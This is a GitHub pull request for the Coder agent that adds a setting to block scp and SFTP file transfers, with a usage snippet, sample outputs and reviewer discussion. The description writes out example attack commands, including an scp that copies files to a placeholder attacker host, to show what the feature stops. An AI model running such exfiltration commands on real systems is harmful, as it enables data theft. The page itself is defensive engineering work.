NotificationsYou must be signed in to change notification settings
Fork1k
Star11.1k

feat: block file transfers for security#13501

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to ourterms of service andprivacy statement. We’ll occasionally send you account related emails.

Already on GitHub?Sign in to your account

Jump to bottom

Merged

mtojek merged 15 commits intomainfrom13383-scp

Jun 10, 2024

Merged

feat: block file transfers for security#13501

mtojek merged 15 commits intomainfrom13383-scp

Jun 10, 2024

Conversation

Copy link

Member

mtojek commentedJun 7, 2024•
edited
Loading

Related:#13383

This PR adds logic to conditionally block file transfers via Coder agent.

How to use it:

resource"docker_container""workspace" {count=data.coder_workspace.me.start_countimage=docker_image.main.namename="coder-${data.coder_workspace.me.owner}-${lower(data.coder_workspace.me.name)}"hostname=data.coder_workspace.me.nameentrypoint=["sh","-c",replace(coder_agent.main.init_script,"/localhost|127\\.0\\.0\\.1/","host.docker.internal")]env=["CODER_AGENT_TOKEN=${coder_agent.main.token}",..."CODER_AGENT_BLOCK_FILE_TRANSFER=true",  ]...

These cases are covered:

Attacker ssh's to the host and run scp to steal files:ssh coder.workspace-17.main scp localfile remote.host.attacker:~
Attacker tries to smuggle malware:scp 2.txt coder.workspace-17.main:~
Attacker steals a file from the host:scp coder.workspace-17.main:~/1.txt /dev/null

Outputs -

As you can see, only in the first case, we can show an error message that something went wrong. In case of SFTP subsystem, we can just cut the connection.

Re 1:

...2024-06-07 13:34:33.325+02:00 Startup Script: [2024-06-07T11:34:32.506Z] info    - Not serving HTTPSNotice: The startup scripts are still running and your workspace may be incomplete.For more information and troubleshooting, see https://coder.com/docs/v2/latest/templates/troubleshooting#your-workspace-may-be-incomplete and https://coder.com/docs/v2/latest/templates/troubleshootingFile transfer has been disabled.

Re 2:

...2024-06-07 13:34:33.325+02:00 Startup Script: [2024-06-07T11:34:32.506Z] info    - Not serving HTTPSNotice: The startup scripts are still running and your workspace may be incomplete.For more information and troubleshooting, see https://coder.com/docs/v2/latest/templates/troubleshooting#your-workspace-may-be-incomplete and https://coder.com/docs/v2/latest/templates/troubleshootingscp: Connection closed

Re 3:

...2024-06-07 13:34:33.325+02:00 Startup Script: [2024-06-07T11:34:32.506Z] info    - Not serving HTTPSNotice: The startup scripts are still running and your workspace may be incomplete.For more information and troubleshooting, see https://coder.com/docs/v2/latest/templates/troubleshooting#your-workspace-may-be-incomplete and https://coder.com/docs/v2/latest/templates/troubleshootingscp: Connection closed

mtojek added2 commits

June 7, 2024 10:12

feat: block file transfers

94a4067

commands

9915cde

mtojek self-assigned this

Jun 7, 2024

mtojek added8 commits

June 7, 2024 11:09

fix

abd97df

fix

00e0a8a

Merge branch 'main' into 13383-scp

6cec719

Fix

fa0010d

fix

dbaa763

fix

94926bd

fix

d92c070

fix

47ee9b0

mtojek requested review fromjohnstcn anddannykopping

June 7, 2024 13:34

mtojek marked this pull request as ready for review

June 7, 2024 13:34

mtojek commented

Jun 7, 2024

View reviewed changes

agent/agentssh/agentssh.goShow resolvedHide resolved

agent/agent_test.go OutdatedShow resolvedHide resolved

johnstcn reviewed

Jun 7, 2024

View reviewed changes

Copy link

Member

johnstcn left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others.Learn more.

Left some comments.
We probably also want some tests to validate that blocking file transfers does not block regular old SSH.

agent/agent_test.go OutdatedShow resolvedHide resolved

agent/agentssh/agentssh.go

		}

		ifs.fileTransferBlocked(session) {
		s.logger.Warn(ctx,"file transfer blocked",slog.F("session_subsystem",session.Subsystem()),slog.F("raw_command",session.RawCommand()))

Copy link

Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others.Learn more.

out of scope: we may want to eventually have a way to surface this to admins as they may be interested in this sort of thing.

Copy link

MemberAuthor

mtojekJun 10, 2024•
edited
Loading

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others.Learn more.

a new metric? maybe consider this as a follow-up option. I don't know if an admin wants to review notifications from users accidentally trying to usescp.

agent/agentssh/agentssh.go OutdatedShow resolvedHide resolved

cli/agent.go OutdatedShow resolvedHide resolved

dannykopping reviewed

Jun 7, 2024

View reviewed changes

agent/agentssh/agentssh.go OutdatedShow resolvedHide resolved

cli/agent.go OutdatedShow resolvedHide resolved

agent/agentssh/agentssh.go OutdatedShow resolvedHide resolved

agent/agent_test.go OutdatedShow resolvedHide resolved

agent/agentssh/agentssh.go

		}

		ifs.fileTransferBlocked(session) {
		s.logger.Warn(ctx,"file transfer blocked",slog.F("session_subsystem",session.Subsystem()),slog.F("raw_command",session.RawCommand()))

Copy link

Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others.Learn more.

Do we run the risk here of logging a potentially large amount of text here?
Should we try and capture the user identity associated with this attempt, too?

Aside: this feels like a good use-case for an audit-log.

Copy link

MemberAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others.Learn more.

Same as#13501 (comment)?

Yeah, the problem here is that it is logged on the agent side in/tmp/coder.blahblah/coder-agent-<some-file>.log, and it is not raised to admins. We may want to think about some metrics to notify them.